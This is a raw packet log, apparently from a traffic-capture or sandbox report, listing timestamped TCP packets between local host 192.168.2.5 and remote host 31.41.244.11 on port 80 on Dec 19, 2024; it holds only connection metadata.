Dec 19, 2024 03:09:34.748344898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.748374939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.748487949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.749228954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.749291897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.749344110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.749432087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.750225067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.750293970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.750356913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.750483990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.751372099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.751449108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.751499891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.751593113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.752616882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.752692938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.752762079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.752824068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.753890038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.753963947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.754050970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.754365921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.754599094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.754760981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.754782915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.754813910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.755505085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.755599976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.755664110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.756616116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.756680012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.756813049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.756867886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.757544041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.757603884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.757688046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.758882046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.761773109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.761847019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.761847019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.761862040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.761878014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.761905909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.761905909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.761938095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.762217999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.762234926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.762275934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.762275934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.762931108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.763031006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.763118982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.763196945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.763752937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.763767958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.763813972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.763813972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.764770031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.764786005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.764832973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.764832973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.765713930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.765772104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.765857935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.765911102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.766400099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.766416073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.766462088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.766462088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.766906023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.766921997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.766966105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.767183065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.767276049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.767340899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.768237114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.768294096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.768310070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.768364906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.769157887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.769212008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.769260883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.769315004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.770169973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.770226955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.770313978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.770366907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.771492004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.771558046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.771667957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.771723986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.772670984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.772728920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.772774935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.772830009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.773698092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.773753881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.773794889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.773861885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.774420977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.774475098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.774497032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.774549961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.775154114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.775213957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.775253057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.775305033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.776187897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.776249886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.776314974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.776367903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.777162075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.777219057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.777261972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.777314901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.778167963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.778223038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.778264999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.778316021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.779166937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.779223919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.779304028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.779361963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.780149937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.780205965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.780246973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.780302048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.781174898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.781233072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.781327009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.781383038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.782196999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.782252073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.782335997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.782386065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.783157110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.783211946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.783252001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.783304930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.784167051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.784224987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.784265995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.784318924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.785180092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.785237074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.785331964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.785384893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.925828934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.925929070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.926078081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.926239967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.926409960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.926425934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.926510096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.927331924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.927392006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.927428007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.927479982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.928230047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.928284883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.928378105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.928431034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.929285049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.929341078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.929383993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.929436922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.930253983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.930310011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.930392027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.930452108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.931262016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.931319952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.931353092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.931428909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.932224035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.932281971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.932321072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.932375908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.933227062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.933288097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.933326960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.933378935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.934233904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.934293032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.934370995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.934422970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.935214996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.935270071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.935372114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.935430050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.936255932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.936333895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.936347008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.936400890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.937216997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.937285900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.937329054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.937388897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.938184977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.938239098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.938313007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.938368082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.939203978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.939263105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.939372063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.939443111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.940239906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.940295935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.940424919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.940475941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.941203117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.941257000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.941323042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.941379070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.942228079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.942281008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.942399025 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.942451954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.943233967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.943296909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.943326950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.943383932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.944240093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.944303036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.944325924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.944375992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.945251942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.945308924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.945408106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.945461988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.946223021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.946279049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.946335077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.946389914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.947213888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.947272062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.947309971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.947369099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.948221922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.948276997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.948295116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.948344946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.949249983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.949302912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.949362040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.949417114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.950227022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.950280905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.950325012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.950376987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.951179028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.951234102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.951308012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.951360941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.952209949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.952266932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.952342033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.952399015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.953234911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.953291893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.953363895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.953418016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.954196930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.954252005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.954315901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.954370022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.955182076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.955235958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.955298901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.955357075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.956190109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.956243992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.956300020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.956351042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.957195997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.957254887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.957331896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.957384109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.958194971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.958249092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.958281040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.958329916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.959189892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.959248066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.959327936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.959381104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.960232019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.960285902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.960340977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.960396051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.961215019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.961267948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.961302996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.961358070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.962192059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.962244987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.962357998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.962409019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.963259935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.963310957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.963416100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.963466883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.964267969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.964315891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.964318991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.964366913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.965173006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.965228081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.965285063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.965337038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.966223001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.966276884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.966290951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.966342926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.967221022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.967288017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.967293024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.967361927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.968172073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.968223095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.968338013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.968385935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.969191074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.969238997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.969295979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.969358921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.970197916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.970252037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.970283031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.970324993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.971179008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.971240997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.971287012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.971360922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.972168922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.972225904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.972290993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.972346067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.973172903 CET	80	49885	31.41.244.11	192.168.2.5
